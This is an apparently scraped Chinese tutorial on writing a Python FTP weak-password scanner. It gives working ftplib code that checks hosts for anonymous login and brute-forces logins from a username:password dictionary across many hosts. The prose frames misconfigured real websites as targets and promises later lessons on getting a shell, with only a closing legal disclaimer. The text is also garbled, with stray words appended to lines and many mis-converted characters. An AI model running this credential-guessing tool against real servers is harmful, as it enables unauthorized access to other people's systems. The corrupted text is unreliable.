本次實驗經過使用 Python 實現一個 FTP 弱口令掃描器開始,入門 Python 滲透測試技術,實驗涉及 FTP 協議原理,ftplib 庫的使用等知識點。web
本教程由做者向實驗樓投稿發佈,完整教程及在線練習地址:Python 實現 FTP 弱口令掃描器編程
具備Python語言基礎,不會的同窗請到隔壁班先去學一下安全
Python3.x服務器
本實驗涉及以下知識點:網絡
認識Ftp服務器函數
Ftplib庫的使用測試
argparse庫的使用網站
Ubuntu下Ftp服務器的搭建url
本節實驗將實現以下功能的 FTP 弱口令掃描器:spa
如下內容整理自百度百科,參考連接:
FTP服務器(File Transfer Protocol Server)是在互聯網上提供文件存儲和訪問服務的計算機,它們依照FTP協議提供服務。 FTP是File Transfer Protocol(文件傳輸協議)。顧名思義,就是專門用來傳輸文件的協議。簡單地說,支持FTP協議的服務器就是FTP服務器。
FTP是僅基於TCP的服務,不支持UDP。不同凡響的是FTP使用2個端口,一個數據端口和一個命令端口(也可叫作控制端口)。一般來講這兩個端口是21(命令端口)和20(數據端口)。但FTP 工做方式的不一樣,數據端口並不老是20。這就是主動與被動FTP的最大不一樣之處。主要有兩種工做模式:
主動FTP
FTP服務器的控制端口是21,數據端口是20,因此在作靜態映射的時候只須要開放21端口便可,他會用20端口和客戶端主動的發起鏈接。
被動FTP
服務器的控制端口是21,數據端口是隨機的,且是客戶端去鏈接對應的數據端口,因此在作靜態的映射話只開放21端口是不能夠的。此時須要作DMZ。
本課程開發Ftp掃描器主要從如下兩個方面着手:
Ftp匿名登陸的掃描主要應用於批量掃描中,單獨針對一個Ftp服務器進行掃描的話成功概率比較小,不過也不排除成功的可能。估計講到這裏的時候,有的同窗就有疑問了!!!如今還有人不設置密碼嗎?那得傻到啥程度?用東北的話來講那不就是傻狍子嗎!!!(開個玩笑,省得同窗們看個人教程睡着了!)不過言歸正傳,不少網站都開放Ftp服務方便用戶下載資源(這個容許匿名登陸不足爲奇),更瘋狂的是網站管理人員爲了方便網站訪問軟件的更新也開放了Ftp匿名登陸(估計不是本身家的網站......)。這樣就給了咱們不少機會,尤爲後者的服務器很容易就受到攻擊,後期我會講解Ftp目錄下能夠搜到web頁面以後怎樣拿到Shell(你們多多關注個人教程吧,還有不少精品課程等着你!)。
Ftp弱口令掃描其實就是暴力破解,爲什麼咱們不稱爲暴力破解呢?由於咱們只是掃描一些簡單的密碼組合,並非全部可能得密碼組合,並且咱們也沒有那麼多時間去暴力破解,誰讓咱們活不了成千上萬年呢!只是一個密碼而已,弱口令掃不到就算了,天涯何處無芳草何須單戀一枝花呢!不過你要非喜歡這個Ftp服務器的話,之後我再教你們別的方法滲透服務器!
這裏咱們要用到Python的ftplib庫中的Ftp這個類,Ftp這個類實現了Ftp客戶端的大多數功能,好比鏈接Ftp服務器、查看服務器中的文件、上傳、下載文件等功能,詳細用法能夠查看一下文檔,之後碰到問題也要養成先看文檔的習慣!接下來咱們來定義anonScan(hostname)這個函數以實現掃描可匿名登陸的Ftp服務器。代碼以下:
#匿名登陸掃描 def anonScan(hostname): #參數是主機名 try: with FTP(hostname) as ftp: #建立Ftp對象 ftp.login() #Ftp匿名登陸 print('\n[*] ' + str(hostname) + " FTP Anonymous login successful!") #不拋出異常則代表登陸成功 return True except Exception as e: #拋出異常則代表匿名登陸失敗 print('\n[-] ' + str(hostname) + " FTP Anonymous logon failure!") return False
代碼很簡短,主要在註釋中解釋了代碼的含義。這裏說一下這個函數的思路,首先用主機名構造了一個Ftp對象(即ftp),而後用這個ftp調用不帶任何參數的login()函數即表示要匿名登陸這個Ftp服務器,若是登陸過程當中沒有產生異常,則代表匿名登陸成功,不然匿名登陸失敗!
Ftp弱口令的掃描依賴於用戶名和密碼字典,咱們的實驗環境中會提供 pwd.txt
做爲密碼字典,字典的格式以下圖所示:
接下來咱們針對字典中的格式來實現Ftp弱口令的掃描,代碼以下:
#暴力破解 def vlcLogin(hostname, pwdFile): #參數(主機名,字典文件) try: with open(pwdFile, 'r') as pf: #打開字典文件 for line in pf.readlines(): #循環讀取字典文件中的每一行 time.sleep(1) #等待1秒 userName = line.split(':')[0] #從讀取的內容中取出用戶名 passWord = line.split(':')[1].strip('\r').strip('\n') #從讀取的內容中取出密碼 print('[+] Trying: ' + userName + ':' + passWord) try: with FTP(hostname) as ftp: #以主機名爲參數構造Ftp對象 ftp.login(userName, passWord) #使用讀取出的用戶名密碼登陸Ftp服務器 #若是沒有產生異常則表示登陸成功,打印主機名、用戶名和密碼 print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \ userName + ':' + passWord) return (userName, passWord) except Exception as e: # 產生異常表示沒有登陸成功,這裏咱們不用管它,繼續嘗試其餘用戶名、密碼 pass except IOError as e: print('Error: the password file does not exist!') print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!') return (None,None)
這段代碼其實就是循環從字典中讀取用戶名和密碼並嘗試登錄,登錄成功則代表找到用戶名和密碼。因爲這個函數將主機名定義成了能夠用「,」分割的字符串。找到密碼並不會終止程序,而是會繼續掃描其餘主機的弱口令,直到全部的主機都掃描一遍。
至此咱們的Ftp掃描器已經幾乎完成了,代碼並很少,也很簡單。如今咱們須要作的是讓咱們的腳本能夠處理命令行輸入,以控制掃描哪些主機。處理命令行參數咱們將用到Python中的argparse庫,這個庫是Python中自帶的模塊,處理命令行將變得很是簡單,下面咱們一塊兒見證一下argparse的強大之處,先上代碼:
# 這裏用描述建立了ArgumentParser對象 parser = argparse.ArgumentParser(description = 'FTP Scanner') # 添加-H命令dest能夠理解爲我們解析時獲取-H參數後面值的變量名,help是這個命令的幫助信息 parser.add_argument('-H',dest='hostName',help='The host list with ","space') parser.add_argument('-f',dest='pwdFile',help='Password dictionary file') options = None try: options = parser.parse_args() except: print(parser.parse_args(['-h'])) exit(0) hostNames = str(options.hostName).split(',') pwdFile = options.pwdFile
經過argparse庫來解析命令行參數,能夠根據添加參數時指定的help關鍵字的內容來自動生成幫助文檔。具體效果以下圖所示:
在處理複雜命令的時候argparse的強大就更明顯了,因爲這個屬於Python基礎,因此Python庫中自帶的庫這裏我就不作過多的介紹了。
本項目完整代碼和環境搭建、測試,可在實驗樓中查看並在線完成。
本次項目實現了Ftp弱口令掃描器,主要用到如下知識點:
Ftp服務器的基本概念
使用ftplib如何一步一步的實現Ftp弱口令掃描器
使用argparse解析命令行參數
實驗環境的搭建方法
《Python絕技--運用Python成爲頂級黑客》
《Python黑帽子-- 黑客與滲透測試編程之道 》
注:本系列項目教學思路,參考自《Python絕技--運用Python成爲頂級黑客》,書中代碼和教學思路只作參考,本系列教程所有從新設計並基於Python3.x重寫。本系列課程旨在教你們滲透測試,維護網絡安全,如用於非法目的,自行承擔法律責任!